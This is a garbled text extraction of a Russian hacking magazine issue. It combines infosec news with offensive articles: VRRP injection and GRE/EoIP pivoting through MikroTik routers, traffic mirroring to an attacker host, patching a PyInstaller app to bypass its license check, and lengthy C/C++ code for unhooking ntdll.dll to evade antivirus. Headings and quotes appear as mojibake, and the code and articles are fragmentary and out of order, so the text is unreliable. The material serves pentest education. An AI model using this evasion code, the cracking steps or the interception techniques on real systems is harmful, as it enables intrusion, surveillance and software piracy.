Академический Документы
Профессиональный Документы
Культура Документы
CONTENTS
Большая неприватность
Колонка главреда
MEGANews
Самые важные события в мире инфосека за август
MikroTik Nightmare
Пентестим сетевое оборудование MikroTik
MikroTik Daymare
Защищаем оборудование MikroTik от хакерских атак
Caster Remix
Используем виртуальный MikroTik для постэксплуатации Windows
Змеиная анатомия
Вскрываем и потрошим PyInstall
Снимаем крючки
Познаем анхукинг ntdll.dll
Топ взлома
Составляем рейтинг самых популярных хакерских атак
InterstellarC2
Разбираем последствия заражения дроппером PoshC2
Как провести свое первое security-исследование
Колонка Дениса Макрушина
HTB Agile
Ломаем PIN к веб-консоли Flask Werkzeug
HTB Mailroom
Эксплуатируем NoSQL-инъекцию через цепочку уязвимостей XSS и SSRF
HTB Busqueda
Эксплуатируем баг в приложении на Python, чтобы захватить веб-сервер
HTB Cerberus
Захватываем контроллер домена Windows через баг SAML SSO
Врата ада
Переписываем Hell’s Gate и обходим антивирус
Scan2ban
Защищаем периметр от сканеров и ботов
Save Me
Защищаем сети от спуфинг-атак
Титры
Кто делает этот журнал
HEADER
КОЛОНКА ГЛАВРЕДА
УТЕКЛИ ДАННЫЕ
DUOLINGO
И «ЛИТРЕС»
Для сравнения исследователи подсчитали, что фотографам потребовалось почти 150 лет, про-
шедших с момента первой фотографии, сделанной в 1826 году, чтобы достичь отметки
в 15 миллиардов в 1975 году.
При этом около 80% изображений (12,5 миллиарда) были созданы с использованием
моделей, сервисов, платформ и приложений на основе Stable Diffusion, который имеет откры-
тый исходный код.
Продолжение статьи →
← Начало статьи
XIAOMI БЛОКИРУЕТ
УСТАНОВКУ
TELEGRAM В КИТАЕ
ХОСТИНГ LOLEK
ЗАКРЫЛИ
Создатель языка C++, автор множества книг и профессор компьютерных наук в Колумбийском
университете Бьёрн Страуструп (Bjarne Stroustrup) дал интервью Honeypot.io, в котором, нап-
ример, рассказал, что стал программистом по ошибке, полагая, что записывается на курс
прикладной математики (на самом деле это был курс по информатике).
По просьбе интервьюеров Страуструп дал несколько советов нынешнему поколению прог-
раммистов.
Ссылаясь на свой собственный опыт, Страуструп говорит, что необходимо обладать широким
набором навыков, чтобы мочь использовать различные возможности, когда они появляются:
ДЖЕЙЛБРЕЙК TESLA
РАЗБЛОКИРОВАЛ
ПЛАТНЫЕ ФУНКЦИИ
« «Tesla ñîîáùèëà íàì, ÷òî íàø PoC äëÿ âêëþ÷åíèÿ îáîãðåâà çàäíèõ
ñèäåíèé îïèðàåòñÿ íà ñòàðóþ âåðñèþ ïðîøèâêè. Â áîëåå íîâûõ âåð-
ñèÿõ ïðîøèâêè îáíîâëåíèå ýòîãî ýëåìåíòà êîíôèãóðàöèè âîçìîæíî
òîëüêî ïðè íàëè÷èè äåéñòâèòåëüíîé ïîäïèñè Tesla (ïðîâåðåííîé/ïîä-
òâåðæäåííîé øëþçîì). Òàêèì îáðàçîì, õîòÿ íàøè àòàêè çàëîæèëè
âàæíóþ îñíîâó äëÿ ýêñïåðèìåíòîâ ñ ñèñòåìîé â öåëîì, äëÿ âêëþ÷åíèÿ
îáîãðåâà çàäíèõ ñèäåíèé èëè ëþáîé äðóãîé çàáëîêèðîâàííîé ôóíêöèè
ïîòðåáóåòñÿ åùå îäèí ïðîãðàììíûé èëè àïïàðàòíûé ýêñïëîèò è àòàêà
íà øëþç».
Тем не менее атака на извлечение ключа все еще работает даже с новейшей
»
прошивкой Tesla.
В настоящее время в России насчитывается не менее 5,5 миллиона структур, имеющих дос-
туп к частной информации. Роскомнадзор разработал рекомендации для всех операторов пер-
сональных данных. В частности, в ведомстве предлагают минимизировать перечь персональ-
ных данных, используя только те, которые действительно необходимы для оказания услуги.
А также настаивают на «дроблении» личных сведений, то есть хранении каждых конкретных
данных о человеке (имя, номер телефона, покупка) в разных базах.
ANONFILES
ЗАКРЫЛСЯ
Всего было обнаружено около 100 000 взломанных компьютеров, принадлежащих хакерам,
а количество учетных данных от разных хакфорумов превысило 140 000.
Утекшие пароли от форумов для киберпреступников чаще оказывались более надежными, чем
учетные данные для государственных сайтов.
Продолжение статьи →
← Начало статьи
MICROSOFT
НЕ ПРОДЛИТ
ЛИЦЕНЗИИ
Изначально (в 2012 году) трафик составлял 11,1 эксабайт. То есть более чем за десять лет
измерений трафик вырос свыше чем в 11 раз, а в год он рос в среднем на 27%.
БЕЗЛИМИТНОГО
DROPBOX НЕ БУДЕТ
В июле 2023 года показатель дневной аудитории Telegram составил 54,3 миллиона человек,
то есть на 1,7 миллиона больше, чем у «Вконтакте» (52,6 миллиона).
Тем не менее месячная аудитория YouTube все же остается самой большой — в июле она пре-
высила 95,5 миллиона человек. Для «Вконтакте» этот показатель составляет 87,6 миллиона
пользователей, для Telegram — 81,2 миллиона.
WINRAR АТАКУЮТ
Подростки взломали транспортные карты метро Бостона, вдохновившись атакой 2008 года
ПЕНТЕСТИМ СЕТЕВОЕ
ОБОРУДОВАНИЕ
MIKROTIK
DAI
RouterOS не в состоянии защитить сеть от ARP Spoong за исключением
использования режима reply-only в конфигурации bridge. По факту этот
режим работы представляет собой статическую ARP-таблицу, которую в кор-
поративных сетях вести нерентабельно, так как при появлении каждого
нового хоста придется заходить на устройство и заносить MAC и IP вручную.
Способ действенный, однако малопривлекательный из-за больших
неудобств. Поэтому, встретив оборудование MikroTik, атакующий в большинс-
тве случаев может не отказывать себе в ARP-спуфинге: ему не стоит ожидать
внезапной тревоги ARP Inspection, ведь этого механизма в RouterOS, по сути,
нет.
RA Guard
RA Guard представляет собой функцию безопасности, которая отсекает
несанкционированные router advertisements внутри сети с целью предотвра-
щения MITM-атак. RA Guard полностью отсутствует в RouterOS и Switch OS,
оборудованию абсолютно нечем ответить на популярный инструмент пен-
тестеров — mitm6. Единственный вариант, который остается, — фильтровать
на уровне бриджа по MAC-адресам назначения.
Почему у девайсов MikroTik нет таких важных функций безопасности —
непонятно. Такое ощущение, что их ПО застряло в девяностых.
Àáüþç DP
RouterOS по умолчанию выполняет рассылку Discovery-протоколов, которые
могут раскрыть чувствительную информацию о себе потенциальному ата-
кующему. В RouterOS активны три Discovery-протокола:
• CDP (Cisco Discovery Protocol);
• LLDP (Link Layer Discovery Protocol);
• MNDP (MikroTik Neighbor Discovery Protocol).
Ïåðå÷èñëåíèå èíôîðìàöèè
Прежде чем использовать другие техники, нужно провести перечисление
информации о домене VRRP. Нужны данные об используемом виртуальном
адресе, наличии аутентификации, номере группы VRRP и значении приори-
тета.
Вот пример пакета VRRP. В контексте домена VRRP-пакеты отправляет
только MASTER-устройство.
Захваченный VRRPv3-пакет
Èíúåêöèÿ
Главный аспект этой атаки — инъекция вредоносного пакета VRRPv3 с мак-
симальным значением приоритета. Есть даже такая практика безопасности,
где рекомендуется ставить наивысший приоритет 255, однако для VRRP мож-
но установить такое значение максимум до 254, так как значение 255 уходит
занимаемому мастеру. После такой инъекции атакующий перехватывает роль
MASTER и начинает сам обслуживать трафик сети. Даже несмотря на то, что
возникает MITM, нельзя нарушать нормальное функционирование сети,
а поэтому придется поработать над схемой маршрутизации на хосте ата-
кующего.
В качестве лабораторного стенда выступает следующая сеть.
Здесь
• type=1 значит, что этот VRRP-пакет выполняет роль объявления
Advertisement;
• priority=255 — максимальный приоритет для инъекции;
• ipcount=1 — количество IP-адресов у MASTER-устройства. Атакующий
будет владеть только одним IP-адресом;
• addrlist=['10.10.100.254'] указывает на то, каким IP-адресом
будет владеть атакующий при перехвате MASTER-роли, оформляется
в виде списка в коде на Python;
• inter=1 — пакет VRRPv3 будет генерироваться каждую секунду, посколь-
ку легитимный девайс тоже отправляет их каждую секунду. Грубо говоря,
это специальные Hello-сообщения, которые оповещают, что MASTER
в порядке и продолжает свою работу. Однако, если в течение трех секунд
сообщения не последует, один из резервных роутеров заменит MASTER;
• loop=1 указывает на то, что пакет будет отправляться бесконечно.
GARP-êàäð
Когда роутеры меняются ролями, они отправляют специальные сообщения
Gratuitous ARP, которые объявляют на весь VLAN, что возникла новая привязка
IP и MAC-адреса, специальная модификация ARP-кадра. Когда новое устрой-
ство становится MASTER, ему необходимо объявить это и на уровне ARP,
с помощью GARP-рассылки. Атакующему тоже предстоит это сделать, чтобы
избежать DoS. Для этого у меня есть инструмент Cruelty, который генерирует
и отправляет необходимые кадры GARP.
Óêëîíåíèå îò òðàññèðîâêè
Со стороны пользовательского компьютера можно определить атакующего
в тот момент, когда он проводит трассировку. Атакующий может избежать
этого, если сместит TTL с инкрементом +1 в таблице Mangle и в цепочке
PREROUTING.
Ìàðøðóòèçàöèÿ
После инжекта необходимо заняться небольшим роутинг-менеджментом.
Сперва нужно удалить старый маршрут по умолчанию (для атакующего
это был 10.10.100.254). Так как атакующий стал новым MASTER-маршрутиза-
тором, мы — владельцы этого виртуального адреса (10.10.100.254), но при
старом маршруте весь трафик замыкается на нашей ОС, что без допол-
нительной мороки вызывает DoS на легитимные хосты. Пропишем новый
маршрут по умолчанию через 10.10.10.100 (это бывший MASTER-роутер),
но даже несмотря на то, что мы отжали у него роль MASTER, он все равно
сможет выполнить маршрутизацию трафика, куда нам нужно.
Èìïàêò
После всех этих манипуляций атакующий воспроизводит MITM и может прос-
лушивать трафик внутреннего сегмента, в котором сам и находится.
Облегчить поиск учетных данных в трафике может инструмент Pcredz:
Также важно, чтобы твое железо выдержало такую нагрузку: учитывай мощ-
ности процессора и скорость интерфейса. Такой спуфинг приводит к тому,
что весь трафик подсети пойдет в твою сторону. Также можешь не бояться
за чистоту этой атаки. Когда ты прекратишь VRRP-инъекцию, легитимные
VRRP-роутеры снова проведут согласование и сеть вернется на круги своя.
Да и Dead Timer в сетях VRRP обычно очень маленький, сеть быстро восста-
новится, и будет назначен легитимный MASTER.
TZSP
TZSP (Tazmen Sniffer Protocol) — сетевой протокол инкапсуляции, который
может заворачивать в себя другие сетевые протоколы, грубо говоря —
обрамляет полезную нагрузку. Обычно используется в сетях 802.11, может
работать с IDS. TZSP использует для инкапсуляции протокол UDP, значит,
не исключены потери. TZSP способен инкапсулировать сетевой трафик,
начиная с уровня L2, то есть может передавать Ethernet-фреймы.
Вот небольшой пример инкапсулированного FTP-трафика с TZSP.
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
Packet Sniffer из RouterOS как раз таки и использует TZSP для инкапсуляции
полезной нагрузки. Именно благодаря этому зеркалированный трафик может
передаваться поверх L3-соединений.
Óãîí òðàôèêà
Для такой атаки злоумышленник должен определить следующие параметры:
• IP-адрес streaming-сервера, куда будет поступать зеркалированный тра-
фик;
• целевые интерфейсы, с которых будет проводиться зеркалирование;
• номер порта того протокола, которым интересуется атакующий.
Схема зеркалирования
Îáðàáîòêà TZSP-çàãîëîâêîâ
После запуска сниффера зеркалируемый трафик будет поступать
на интерфейс атакующего хоста, однако трафик необходимо обработать,
срезать TZSP-заголовки, поскольку нужды в них больше нет и они могут дос-
тавить хлопот.
Для этого есть инструмент tzsp2pcap. Он позволяет удалять TZSP-заголов-
ки и экспортировать трафик в формате pcap. В данном примере я буду
использовать Wireshark, в котором внедрю полученный трафик без заголов-
ков TZSP:
ROUTEROS PIVOTING
L3 GRE VPN
Один из вариантов для пивотинга — использовать протокол GRE.
Это протокол туннелирования L4, который позволяет быстро организовать
соединения site-to-site VPN. Получил известность благодаря тому, что настра-
ивается быстро и очень просто. Разработан инженерами Cisco Systems,
однако поддерживается любым вендором. По умолчанию GRE не предос-
тавляет функций для шифрования трафика внутри туннеля. Поэтому если он
и используется в продакшене, то, скорее всего, с группой протоколов IPSec.
При постэксплуатации RouterOS атакующий может воспользоваться GRE-
туннелированием, чтобы попасть внутрь инфраструктуры. Этот сценарий
работает именно с пограничным маршрутизатором.
Примерно так будет выглядеть карта пивотинга. Атакующий должен уста-
новить GRE-туннель между своей нодой и RouterOS, затем на логических
интерфейсах необходимо настроить внутренние IP-адреса для сетевой связ-
ности. Затем, после перечисления таблицы маршрутизации, атакующий
может создать специальные маршруты, ведущие внутрь инфраструктуры,
и при этом шлюзом для таких маршрутов будет выступать другая сторона
GRE-туннеля.
caster@kali:~$ sudo ip link add name evilgre type gre local 212.100.
144.150 remote 100.132.55.140
caster@kali:~$ sudo ip addr add 10.10.10.1/24 dev evilgre
caster@kali:~$ sudo ip link set evilgre up
L2 EoIP VPN
Это специфический вектор, при котором атакующий строит L2-туннель сквозь
скомпрометированную RouterOS между своим хостом и находящейся по ту
сторону сетью.
EoIP (Ethernet over IP) — это проприетарный протокол MikroTik, позволя-
ющий строить L2-туннели поверх интернета, но для этого используется GRE-
инкапсуляция. По факту EoIP — это абсолютно то же самое, что и GRETAP-
интерфейсы на Linux, различия лишь в Proto Type (для EoIP в GRE это зна-
чение 0x6400, для GRETAP-туннелей — 0x6558).
При постэксплуатации RouterOS атакующий может построить L2-туннель
между собой и целевым бриджем с помощью EoIP, однако для работы EoIP
в дистрибутивах Linux нужен модуль eoip. Атакующему достаточно создать
EoIP-интерфейс в RouterOS, затем поместить его внутрь бриджа (в 90% слу-
чаях в конфигурациях RouterOS используются бриджи).
На своей стороне атакующему достаточно собрать модуль из репозитория
и запустить интерфейс, при этом создав TAP-интерфейс для корректной
работы модуля от katlogic.
Схема туннелирования будет выглядеть следующим образом.
Карта EoIP-туннелирования
ÂÛÂÎÄÛ
ЗАЩИЩАЕМ ОБОРУДОВАНИЕ
MIKROTIK ОТ ХАКЕРСКИХ АТАК
ÍÅÈÑÏÎËÜÇÓÅÌÛÅ ÈÍÒÅÐÔÅÉÑÛ
DISCOVERY-ÏÐÎÒÎÊÎËÛ
ÁÅÇÎÏÀÑÍÎÑÒÜ WINBOX ÍÀ L2
Winbox может работать на уровне L2, то есть сетевой инженер может обра-
титься к RouterOS, минуя сетевой уровень. За это отвечает именно MAC
Winbox Server, позволяющий подключиться к Winbox без IP-адресации.
По умолчанию MAC Winbox Server доступен на всех интерфейсах, и это
нехорошо. Для повышения безопасности рекомендуется разрешить исполь-
зовать его только на определенных интерфейсах.
Пример: я разрешаю MAC Winbox Server только на внутреннем LAN-листе,
где находится LAN-мост для работы внутри сети.
DHCP SNOOPING
ÍÀÑÒÐÎÉÊÀ ÔÀÉÐÂÎËÀ
TTL Shift
Если твое оборудование выступает прокси-сервером и есть необходимость
скрыть его IP-адрес из трассировки, то нужно в таблице Mangle в цепочке
PREROUTING смещать TTL с инкрементом +1:
Ðèñê DNS-ôëóäà
Следи за тем, чтобы наружу не торчал порт протокола DNS, на который может
прилететь потенциальный DDoS. Нередко случается так, что именно по DNS
приходит DDoS-атака на MikroTik. Очень часто бывает, что в настройках DNS
на MikroTik стоит галочка Allow Remote Requests, которая позволяет RouterOS
быть DNS-сервером. Обычно это встречается для внутренней инфраструк-
туры, но порт может торчать и на внешнем интерфейсе, смотрящем в сторону
интернета.
ÄÈÍÀÌÈ×ÅÑÊÀß ÌÀÐØÐÓÒÈÇÀÖÈß
Ïàññèâíûå èíòåðôåéñû
Настройка пассивных интерфейсов для динамической маршрутизации поз-
воляет роутеру запретить рассылать объявления через некоторые интерфей-
сы. По умолчанию без настройки пассивных интерфейсов он рассылает объ-
явления во все интерфейсы, а это подвергает домен маршрутизации боль-
шому риску.
Ниже параметр passive указывает на пассивный интерфейс.
Êðèïòîãðàôè÷åñêàÿ àóòåíòèôèêàöèÿ
Применение аутентификации в доменах маршрутизации позволяет сделать
так, чтобы подключаться к ним могли только авторизованные маршрутиза-
торы. Однако аутентификация настраивается с помощью паролей. Так что
обязательно нужно позаботиться о том, чтобы эти пароли были достаточно
стойкими. Если злоумышленник получит значение хеша из дампа трафика, то
он может попытаться вскрыть пароль перебором. А с паролем он уже без тру-
да подключится к домену маршрутизации.
Настройка ниже использует SHA-384. Кстати говоря, Ettercap сможет
выдернуть любой MD5/SHA-хеш, что даст атакующему возможность поп-
робовать сбрутить пароль от домена OSPF. Опять же следи за стойкостью
парольной фразы.
Ïðîáëåìà ïñåâäîáàëàíñèðîâêè
VRRP, конечно, обеспечивает отказоустойчивость, однако по факту в логичес-
кой группе работает только один маршрутизатор, когда остальные пребыва-
ют в режиме ожидания.
Если в твоей сети несколько устройств с RouterOS и несколько сегментов
VLAN, ты можешь задействовать все RouterOS в твоей сети, например:
• RouterOS1 будет MASTER за VLAN 120 и VLAN 140, а за VLAN 180 и VLAN
220 он будет BACKUP;
• RouterOS2 будет MASTER за VLAN 180 и VLAN 220, за VLAN 120 и VLAN
140 он будет BACKUP. То есть конфигурация зеркальна RouterOS1.
И RouterOS2:
Çàùèòà RMI
MGMT — это специальные интерфейсы управления, которые позволяют нас-
траивать устройство. В RouterOS для этого используются следующие службы:
• Telnet (TCP/23);
• API (TCP/8728);
• API-SSL (TCP/8729);
• SSH (TCP/22);
• HTTP (TCP/80);
• HTTPS (TCP/443);
• Winbox (TCP/8291).
ÂÛÂÎÄÛ
ИСПОЛЬЗУЕМ
ВИРТУАЛЬНЫЙ MIKROTIK
ДЛЯ ПОСТЭКСПЛУАТАЦИИ
WINDOWS
CASTER REMIX
Схема исследования
CHR DEPLOY
C:\remix>VirtualBox-7.0.8-156879-Win.exe -s
Теперь создаем виртуальную машину CHR. Если нет GUI, это можно сделать
с помощью VBoxManage.exe. Сама версия CHR — 7.10.2.
Я приготовил специальный bat-файл для автоматизации процесса. Прошу
заметить, что я использую образ диска VDI, который буду подключать к соз-
данной виртуальной машине. Образы VDI обычно скачиваются с официаль-
ного сайта MikroTik.
Я все настраиваю так, чтобы машина работала в режиме моста с нераз-
борчивым режимом. При настройке сети тебе понадобится установить точ-
ное имя интерфейса в ОС, но его легко узнать с помощью команды Get-
NetAdapter в оболочке PowerShell.
C:\remix>remix.bat
remix.bat
@echo off
set VMNAME=CasterRemix
set VMMEMORY=512
set VMCPUS=2
set VMDISK=C:\remix\chr-7.10.2.vdi
set VMNIC1=bridged
set VMADAPTER1="Intel(R) Wi-Fi 6 AX201 160MHz"
set VMPROMISC1=allow-all
[admin@CasterRemix] >
Также важно, что все это нужно сделать одной командой, иначе навсегда уте-
ряешь доступ к CHR на уровне сети и придется начинать заново.
VXLAN-ÒÓÍÍÅËÈÐÎÂÀÍÈÅ
Лабораторная сеть
Между атакующим и MikroTik будет создан туннель VXLAN, причем они будут
устройствами VTEP и станут работать в режиме точка — точка (point-to-point),
без объявлений MCAST. VTEP (Virtual Tunnel Endpoint) — устройства,
на которых строится и терминируется туннель VXLAN, они занимаются
инкапсуляцией и деинкапсуляцией VXLAN-заголовков.
Важно, чтобы перед настройкой был явный маршрут /32 до CHR через шлюз,
с которым будет инициирован туннель. Иначе созданный туннель может
перекрыть достижимость до CHR, что вызовет разрыв туннеля. Маршрут соз-
дается через шлюз по умолчанию для атакующего (в случае данной лабора-
торной сети — 172.10.200.254).
Карта VXLAN-туннелирования
ÀÒÀÊÀ
ÇÀ×ÈÑÒÊÀ
delete-remix.bat
@echo off
set VMNAME=CasterRemix
ÂÛÂÎÄÛ
Эта песня была для меня вдохновением по ходу работы и даже немало пов-
лияла на ее стиль.
ВЗЛОМ
ВСКРЫВАЕМ И ПОТРОШИМ
PYINSTALLER
def show_file(fname):
f = open(fname, "rb")
magic = f.read(4)
moddate = f.read(4)
modtime = time.asctime(time.localtime(struct.unpack('L', moddate)
[0]))
print "magic %s" % (magic.encode('hex'))
print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
code = marshal.load(f)
show_code(code)
show_file(sys.argv[1])
...
def validate_serial(self):
if not utils.validate_serial():
self.logger.log('no valid license code for the popup code: '
+ utils.get_hardware_code() + '\n')
return False
…
...
[Disassembly]
0 LOAD_GLOBAL 0: utils
2 LOAD_METHOD 1: validate_serial
4 CALL_METHOD 0
6 POP_JUMP_IF_TRUE 36
8 LOAD_FAST 0: self
10 LOAD_ATTR 2: logger
12 LOAD_METHOD 3: log
14 LOAD_CONST 1: 'no valid license code for the popup
code: '
16 LOAD_GLOBAL 0: utils
18 LOAD_METHOD 4: get_hardware_code
20 CALL_METHOD 0
22 BINARY_ADD
24 LOAD_CONST 2: '\n'
26 BINARY_ADD
28 CALL_METHOD 1
30 POP_TOP
32 LOAD_CONST 3: False
34 RETURN_VALUE
36 LOAD_CONST 4: True
…
…
def validate_serial():
stored_serial = get_data_file().strip()
hardware_code = get_hardware_code()
if hardware_code == '' or stored_serial != get_serial(
hardware_code):
return False
…
[Disassembly]
0 LOAD_GLOBAL 0: get_data_file
2 CALL_FUNCTION 0
4 LOAD_METHOD 1: strip
6 CALL_METHOD 0
8 STORE_FAST 0: stored_serial
10 LOAD_GLOBAL 2: strip
12 CALL_FUNCTION 0
14 STORE_FAST 1: hardware_code
16 LOAD_FAST 1: hardware_code
18 LOAD_CONST 1: ''
20 COMPARE_OP 2 (==)
22 POP_JUMP_IF_TRUE 36
24 LOAD_FAST 0: stored_serial
26 LOAD_GLOBAL 3: NULL + strip
28 LOAD_FAST 1: hardware_code
30 CALL_FUNCTION 1
32 COMPARE_OP 3 (!=)
34 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 2: False
38 RETURN_VALUE
40 LOAD_CONST 3: True
42 RETURN_VALUE
Жмем кнопку Activate — бинго, программа принимает любой код! Теперь нам
остается только поправить байт-код в соответствующем pyc-модуле и акку-
ратно пересобрать экзешник с помощью PyInstaller.
На первый взгляд может показаться, что взлом подобных приложений —
это не просто, а очень просто. Однако я надеюсь, ты понимаешь, что в этой
статье мы разобрали самый простой и базовый случай безо всякой обфуска-
ции, виртуализации, криптографии и прочих заморочек. Ограничимся
для начала им, оставив более интересные варианты в качестве тем
для будущих статей.
ВЗЛОМ
Пример хука
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
Этот метод можно считать одним из самых простых. Он основан на том, что
библиотека ntdll.dll подгружается в память так же, как находится на диске.
Причем хуки установлены непосредственно в памяти, на диске образ девс-
твенно чист. Поэтому мы должны будем лишь считать библиотеку с диска,
достать из нее PE-секцию .text (в ней находится код), а после перезаписать
секцию .text хукнутой библиотеки секцией, считанной с диска.
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cNtdllPath[MAX_PATH] = { 0 };
HANDLE hFile = NULL;
DWORD dwNumberOfBytesRead = NULL, dwFileLen = NULL;
PVOID pNtdllBuffer = NULL;
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",
GetLastError());
goto EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
Остается проверить, что наш код верно работает. Если ты пишешь в Visual
Studio, то открывай пункт «Отладка → Параметры» и ставь две галочки, чтобы
можно было видеть содержимое памяти.
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
Возможно, этот метод будет даже чуть более тихим, так как при таком мап-
пинге не срабатывает колбэк PsSetLoadImageNotifyRoutine, который может
быть установлен антивирусным ПО. По крайней мере, так написано на MSDN.
#include <winternl.h>
#include <algorithm>
#include <string>
...
PVOID FetchLocalNtdllBaseAddress() {
// Достаем TEB (это как PEB, только для потока)
PTEB teb = static_cast<PTEB>(NtCurrentTeb());
// ИЗ TEB получаем PEB
PPEB peb = teb->ProcessEnvironmentBlock;
// Голова списка — верхний элемент. Просто по нему будем
отслеживать, пробежались ли мы по всему списку или нет
PLIST_ENTRY listHead = &peb->Ldr->InMemoryOrderModuleList;
// Следующий за головой элемент
PLIST_ENTRY listEntry = listHead->Flink;
if (dllName.find(L"c:\\windows\\system32\\ntdll.dll") != std:
:wstring::npos) {
return ldrEntry->DllBase;
}
listEntry = listEntry->Flink;
}
return (PVOID)addr;
}
pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt +
3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)
pRemoteNtdllTxt)
return FALSE;
}
#endif
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());
return FALSE;
}
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());
return FALSE;
}
return TRUE;
}
pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt +
3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)
pRemoteNtdllTxt)
return FALSE;
}
#endif
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
pSectionHeader[i].VirtualAddress
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
KnownDLLs
NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
VOID InitializeObjectAttributes(
[out] POBJECT_ATTRIBUTES p,
[in] PUNICODE_STRING n,
[in] ULONG a,
[in] HANDLE r, // NULL
[in, optional] PSECURITY_DESCRIPTOR s // NULL
);
UNICODE_STRING.Buffer = (PWSTR)L"\KnownDlls\ntdll.dll";
UNICODE_STRING.Length = wcslen(L"\KnownDlls\ntdll.dll") * sizeof(
WCHAR);
UNICODE_STRING.MaximumLength = UniStr.Length + sizeof(WCHAR);
#include <winternl.h>
#define NTDLL L"\\KnownDlls\\ntdll.dll"
UniStr.Buffer = (PWSTR)NTDLL;
UniStr.Length = wcslen(NTDLL) * sizeof(WCHAR);
UniStr.MaximumLength = UniStr.Length + sizeof(WCHAR);
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());
return FALSE;
}
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());
return FALSE;
}
return TRUE;
}
Одна библиотека
#include <windows.h>
#include <iostream>
int main() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcess(L"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi)
) {
std::cerr << "CreateProcess failed (" << GetLastError() << ")
.\n";
return -1;
}
if (ResumeThread(pi.hThread) == -1) {
std::cerr << "ResumeThread failed (" << GetLastError() << ").
\n";
return -1;
}
getchar();
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
return pImgNtHdrs->OptionalHeader.SizeOfImage;
}
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cProcessPath[MAX_PATH] = { 0 };
STARTUPINFOA Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFO);
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}
if (!CreateProcessA(
NULL,
cProcessPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS,
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n",
GetLastError());
goto _EndOfFunc;
}
sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize)
goto _EndOfFunc;
pNtdllBuffer = (PBYTE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer)
goto _EndOfFunc;
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
Думаю, это самый интересный способ. Он основан на том, что есть прек-
расный сайт winbindex.m417z.com, где приведены ссылки на ntdll.dll прак-
тически для любой версии Windows.
Сайт с ntdll.dll
Нам остается лишь разобраться, как генерируются ссылки. С ходу этого сде-
лать не получилось. Предпоследняя часть URL — не более чем непонятный
набор символов.
...dll/283EB25D1ef000/ntdll...
...dll/54219A10209000/ntdll...
...dll/2451EFDD1af000/ntdll...
Повторяющиеся символы 1
...dll/4028FADC1af000/ntdll...
Повторяющиеся символы 2
Остается лишь додуматься, как получить эти данные. У ntdll.dll тоже обычный
PE, поэтому стоит глядеть именно в эту сторону. Временную метку получится
извлечь из структуры IMAGE_FILE_HEADER.
https://msdl.microsoft.com/download/symbols/ntdll.dll/`strconcat(hex(
IMAGE_FILE_HEADER TimeStamp), hex(IMAGE_OPTIONAL_HEADER SizeOfImage))
`/ntdll.dll
